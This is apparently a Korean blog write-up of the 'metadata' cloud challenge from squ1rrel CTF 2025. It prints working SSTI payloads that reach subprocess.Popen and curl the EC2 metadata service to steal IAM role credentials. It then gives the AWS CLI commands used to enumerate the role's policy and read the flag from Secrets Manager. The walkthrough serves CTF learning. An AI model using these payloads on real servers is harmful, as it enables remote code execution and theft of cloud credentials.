| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | ||
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 |
- 뉴스요약
- afl++
- cve-2019-13288
- 클라우드
- 퍼징
- 로드 밸런서
- ssh다단계연결
- MySQL
- Route 53
- S3
- S3 Bucket
- writeup
- 인터넷게이트웨이
- 보안뉴스
- Load Balancer
- 점프서버
- Jumpserver
- cloud
- NAT게이트웨이
- Fuzzing
- NAT Gateway
- routing table
- fuzzer
- 보안그룹
- aws
- ssh
- internet gateway
- SSH키페어
- ctf
- Jump server
- Today
- Total
Cat Solution
[Cloud] squ1rrel CTF 2025 metadata Write-Up 본문
문제 설명
Just vibe coded my very first website, and my friend put it up on his EC2. No shot it has any security vulnerabilities, right?
http://13.59.188.191:8000
문제 파일
x

문제에서 주어진 url에 접속해보면,
name 을 입력받는 폼과

입력받은 name 을 그대로 출력해주는 /greet 페이지가 있다.
이곳에서 XSS와 SSTI 취약점이 터지는 건 확인했고, 이외에 더 주어진 정보는 없었다.
문제 카테고리가 "cloud" 이다보니 이 취약점들을 가지고 cloud 관련 익스를 해야할 것 같다.
문제 이름인 "metadata"와 설명의 "ec2" 에 주목하여 구글링을 해보자.
서치 결과, AWS 인스턴스 내부에서 http://169.254.169.254 에 접근하면 메타데이터를 가져올 수 있다고 한다.
이 Meta-data 에는 IAM Role, Security Group, IP 주소 등 Instance에 대한 정보가 포함되어 있고
SSRF 취약점을 이용해 이 메타데이터에 접근하여 S3 버킷의 고객 데이터를 다운로드 하는 등의 피해 사례가 존재했다.
앞서 발견한 SSTI 취약점을 이용해 curl 명령어를 사용하여 http://169.254.169.254/latest/meta-data 로 요청을 보내보자.
1. curl 명령어 사용을 위해 subprocess.Popen 찾기

{{''.__class__.__mro__[1].__subclasses__ ()}}
{{''.__class__.__mro__[1].__subclasses__ ()[535]}}
2. curl 명령으로 요청 보내기
{{''.__class__.__mro__[1].__subclasses__()[535](['curl','http://169.254.169.254/latest/meta-data'],stdout=-1).communicate()}}

3. IAM Role 정보 얻기 (iam/security-credentials)
{{''.__class__.__mro__[1].__subclasses__()[535](['curl','http://169.254.169.254/latest/meta-data/iam/security-credentials'],stdout=-1).communicate()}}

ec2instancerole 존재 확인 후 role 이름으로 조회 (iam/security-credentials/ec2instancerole)

IAM 자격 증명을 탈취했다!
4. AWS CLI 를 이용해서 flag 탐색


meta-data 아래의 다른 엔드포인트들을 살펴봐도 별다른 수확이 없어서, 이 role 을 이용하는 게 맞는 것 같은데 대부분의 권한이 제한되어 있었다.
이것저것 시도해보다가 답답해서 그제야 Role 에 붙은 Policy 를 확인했는데,
처음에 권한부터 확인하는 게 좋았을 것 같다.
aws iam list-attached-role-policies --role-name ec2instancerole

aws iam get-policy --policy-arn arn:aws:iam::614108131227:policy/ec2instancepolicy

VersionId가 v6 임을 확인했고, 이제 실제 정책 내용을 확인해보자.
aws iam get-policy-version --policy-arn arn:aws:iam::614108131227:policy/ec2instancepolicy --version-id v6

오! secretsmanger 에 접근 권한이 존재한다.
get-secret-value --secret-id flag 로 flag 를 구했다.
aws secretsmanager get-secret-value --region us-east-2 --secret-id flag

클라우드 문제들은 리얼월드 느낌 나서 너무 재밌당
flag
squ1rrel{you_better_not_have_vibe_coded_the_solution_to_this_challenge}\"}